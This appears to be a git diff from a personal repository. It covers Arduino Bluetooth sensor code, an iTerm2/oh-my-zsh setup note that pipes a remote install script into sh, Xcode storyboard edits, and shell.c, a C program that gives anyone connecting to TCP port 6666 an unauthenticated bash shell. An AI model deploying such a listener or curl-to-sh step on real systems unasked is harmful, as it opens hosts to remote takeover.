+#include <SoftwareSerial.h>
+SoftwareSerial BTSerial(10, 11); // RX | TX
+
+
int cnt = 0;
const int ledPin = 12;
void setup() {
- Serial.begin(9600);
+ //Serial.begin(9600);
+ BTSerial.begin(9600); // HC-06 current bound rate (default 9600)
pinMode(ledPin, OUTPUT);
pinMode(0, INPUT);
pinMode(1, INPUT);
pinMode(2, INPUT);
+ pinMode(3, INPUT);
+}
+
+char* itos(int n)
+{
+ static char buf[16];
+ sprintf(buf, "%d", n);
+ return buf;
}
void loop() {
int hb = analogRead(2); // Human Body
+ int hv = analogRead(3); // humidity
+
if(hb < 100)
{
hb = 0;
}
digitalWrite(ledPin, hb > 0 ? HIGH : LOW);
-
- delay(100);
- if(cnt % 10 == 0)
+
+ delay(10);
+
+ if(cnt % 100 == 0)
{
float temperature;
- float resistance = (float)(1023-tv)*10000/tv;
+ float resistance = (float)(1023.0-tv)*10000.0/tv;
temperature = 1.00000/(log(resistance/10000)/3975+1/298.15) - 273.15;
+ /*
Serial.print("Light Sensor Value: ");
Serial.println(lv);
Serial.print("Body: ");
Serial.println(hb);
-
+ */
+ /*
Serial.print(">");
Serial.print(lv);
Serial.print(":");
Serial.print(temperature);
Serial.print(":");
Serial.print(hb);
- Serial.println(" ");
+ Serial.print(":");
+ Serial.print(hv);
+ Serial.println(" ");*/
+
+ BTSerial.write(">");
+ BTSerial.write(itos(lv));
+ BTSerial.write(":");
+ BTSerial.write(itos(temperature));
+ BTSerial.write(":");
+ BTSerial.write(itos(hb));
+ BTSerial.write(":");
+ BTSerial.write(itos(hv));
+ BTSerial.write("\n");
+
}
}
--- /dev/null
+#include <SoftwareSerial.h>
+SoftwareSerial BTSerial(10, 11); // RX | TX
+void setup()
+{
+ Serial.begin(9600);
+ Serial.println("Enter AT commands:");
+ BTSerial.begin(9600); // HC-06 current bound rate (default 9600)
+}
+void loop()
+{
+ // Keep reading from HC-06 and send to Arduino Serial Monitor
+ if (BTSerial.available())
+ Serial.write(BTSerial.read());
+ // Keep reading from Arduino Serial Monitor and send to HC-06
+ if (Serial.available())
+ BTSerial.write(Serial.read());
+}
--- /dev/null
+iterm2
+
+curl -L https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh | sh
+
+git clone git://github.com/supermarin/powerline-fonts.git
+安装 Monaco fo Powerline.otf
+
+iterm2 设置字体为以上
+
+
+
+git clone git://github.com/jeremyFreeAgent/oh-my-zsh-powerline-theme
+cp oh-my-zsh-powerline-theme/powerline.zsh-them ~/.oh-my-zsh/theme/
--- /dev/null
+/*
+ * ------------------------------------------------------------------------
+ * File Name: shell.c
+ * Author: Zhao Yanbai
+ * Fri Apr 10 11:14:22 2015
+ * Description: none
+ * ------------------------------------------------------------------------
+ */
+#include<unistd.h>
+#include<stdio.h>
+#include<stdlib.h>
+#include<sys/types.h>
+#include<sys/socket.h>
+#include<arpa/inet.h>
+#include<netinet/in.h>
+
+
+#define PORT 6666
+
+void do_child(int fd)
+{
+ printf("new connection: %d\n", fd);
+
+ close(STDIN_FILENO);
+ dup(fd);
+
+ close(STDOUT_FILENO);
+ dup(fd);
+
+ close(STDERR_FILENO);
+ dup(fd);
+
+
+ execvp("/bin/bash", 0);
+}
+
+int main()
+{
+ int sock;
+ struct sockaddr_in serv;
+
+ sock = socket(AF_INET, SOCK_STREAM, 0);
+ if(sock == -1)
+ {
+ perror("socket failed");
+ exit(1);
+ }
+
+
+ int flags;
+ setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &flags, sizeof(flags));
+
+
+ serv.sin_family = AF_INET;
+ serv.sin_addr.s_addr = htonl(INADDR_ANY);
+ serv.sin_port = htons(PORT);
+ if(bind(sock, (struct sockaddr*)&serv, sizeof(serv)) == -1)
+ {
+ perror("bind failed");
+ exit(1);
+ }
+
+
+ if(listen(sock, SOMAXCONN) == -1)
+ {
+ perror("listen failed");
+ exit(1);
+ }
+
+
+ while(1)
+ {
+ int nfd;
+ struct sockaddr_in client;
+ socklen_t len = sizeof(client);
+ nfd = accept(sock, (struct sockaddr *)&client, &len);
+
+ pid_t pid = fork();
+
+ if(pid ==0)
+ {
+ do_child(nfd);
+ exit(0);
+ }
+ }
+
+ close(sock);
+
+ return 0;
+}
<key>IDESourceControlProjectIdentifier</key>
<string>A1372EDB-125D-4A73-9AE8-955FA3D42EAE</string>
<key>IDESourceControlProjectName</key>
- <string>project</string>
+ <string>AceBox</string>
<key>IDESourceControlProjectOriginsDictionary</key>
<dict>
<key>BA634633803B1A00DDD2BCDEF5C645E5844F56E6</key>
- <string>https://github.com/acevest/acecode.git</string>
+ <string>https://github.com/acevest/acecode</string>
</dict>
<key>IDESourceControlProjectPath</key>
- <string>tools/AceBox/AceBox.xcodeproj/project.xcworkspace</string>
+ <string>tools/AceBox/AceBox.xcodeproj</string>
<key>IDESourceControlProjectRelativeInstallPathDictionary</key>
<dict>
<key>BA634633803B1A00DDD2BCDEF5C645E5844F56E6</key>
<string>../../../..</string>
</dict>
<key>IDESourceControlProjectURL</key>
- <string>https://github.com/acevest/acecode.git</string>
+ <string>https://github.com/acevest/acecode</string>
<key>IDESourceControlProjectVersion</key>
<integer>111</integer>
<key>IDESourceControlProjectWCCIdentifier</key>
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
-<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="7702" systemVersion="14D136" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" initialViewController="49e-Tb-3d3">
+<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="7531" systemVersion="14D131" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" initialViewController="49e-Tb-3d3">
<dependencies>
- <plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="7701"/>
+ <plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="7520"/>
</dependencies>
<scenes>
<!--First-->
<rect key="frame" x="221" y="255" width="158" height="42"/>
<color key="backgroundColor" white="1" alpha="1" colorSpace="custom" customColorSpace="calibratedWhite"/>
<fontDescription key="fontDescription" name="Helvetica" family="Helvetica" pointSize="36"/>
- <color key="textColor" cocoaTouchSystemColor="darkTextColor"/>
+ <color key="textColor" red="0.0" green="0.0" blue="0.0" alpha="1" colorSpace="calibratedRGB"/>
<nil key="highlightedColor"/>
</label>
<label opaque="NO" clipsSubviews="YES" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Loaded by FirstViewController" textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="A5M-7J-77L">
<rect key="frame" x="203" y="305" width="195" height="17"/>
<fontDescription key="fontDescription" type="system" pointSize="14"/>
- <color key="textColor" cocoaTouchSystemColor="darkTextColor"/>
+ <color key="textColor" red="0.0" green="0.0" blue="0.0" alpha="1" colorSpace="calibratedRGB"/>
<nil key="highlightedColor"/>
</label>
- <switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" fixedFrame="YES" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="kPh-8P-NAv">
- <rect key="frame" x="276" y="124" width="51" height="31"/>
- </switch>
</subviews>
<color key="backgroundColor" white="1" alpha="1" colorSpace="custom" customColorSpace="calibratedWhite"/>
<constraints>
<rect key="frame" x="195" y="255" width="210" height="42"/>
<color key="backgroundColor" white="1" alpha="1" colorSpace="calibratedWhite"/>
<fontDescription key="fontDescription" name="Helvetica" family="Helvetica" pointSize="36"/>
- <color key="textColor" cocoaTouchSystemColor="darkTextColor"/>
+ <color key="textColor" red="0.0" green="0.0" blue="0.0" alpha="1" colorSpace="calibratedRGB"/>
<nil key="highlightedColor"/>
</label>
<label opaque="NO" clipsSubviews="YES" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Loaded by SecondViewController" textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="NDk-cv-Gan">
<rect key="frame" x="192" y="305" width="216" height="17"/>
<fontDescription key="fontDescription" type="system" pointSize="14"/>
- <color key="textColor" cocoaTouchSystemColor="darkTextColor"/>
+ <color key="textColor" red="0.0" green="0.0" blue="0.0" alpha="1" colorSpace="calibratedRGB"/>
<nil key="highlightedColor"/>
</label>
</subviews>
<scene sceneID="yl2-sM-qoP">
<objects>
<tabBarController id="49e-Tb-3d3" sceneMemberID="viewController">
- <simulatedTabBarMetrics key="simulatedBottomBarMetrics" barStyle="black" translucent="NO"/>
+ <nil key="simulatedBottomBarMetrics"/>
<tabBar key="tabBar" contentMode="scaleToFill" barStyle="black" translucent="NO" id="W28-zg-YXA">
<rect key="frame" x="0.0" y="975" width="768" height="49"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" flexibleMinY="YES"/>
<connections>
<segue destination="9pv-A4-QxB" kind="relationship" relationship="viewControllers" id="u7Y-xg-7CH"/>
<segue destination="8rJ-Kc-sve" kind="relationship" relationship="viewControllers" id="lzU-1b-eKA"/>
- <segue destination="p9b-Qi-Lhq" kind="relationship" relationship="viewControllers" id="eXb-lL-tDf"/>
</connections>
</tabBarController>
<placeholder placeholderIdentifier="IBFirstResponder" id="HuB-VB-40B" sceneMemberID="firstResponder"/>
</objects>
<point key="canvasLocation" x="0.0" y="0.0"/>
</scene>
- <!--Ace-->
- <scene sceneID="0IU-Ji-ziU">
- <objects>
- <viewController title="Ace" id="p9b-Qi-Lhq" sceneMemberID="viewController">
- <layoutGuides>
- <viewControllerLayoutGuide type="top" id="tly-kp-32T"/>
- <viewControllerLayoutGuide type="bottom" id="jJj-ux-K3J"/>
- </layoutGuides>
- <view key="view" contentMode="scaleToFill" id="Hyy-kK-vzY">
- <rect key="frame" x="0.0" y="0.0" width="600" height="551"/>
- <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
- <color key="backgroundColor" white="1" alpha="1" colorSpace="calibratedWhite"/>
- </view>
- <tabBarItem key="tabBarItem" title="Item" id="efr-HS-JSW"/>
- </viewController>
- <placeholder placeholderIdentifier="IBFirstResponder" id="7b0-pZ-bj7" userLabel="First Responder" sceneMemberID="firstResponder"/>
- </objects>
- <point key="canvasLocation" x="209" y="706"/>
- </scene>
</scenes>
<resources>
<image name="first" width="30" height="30"/>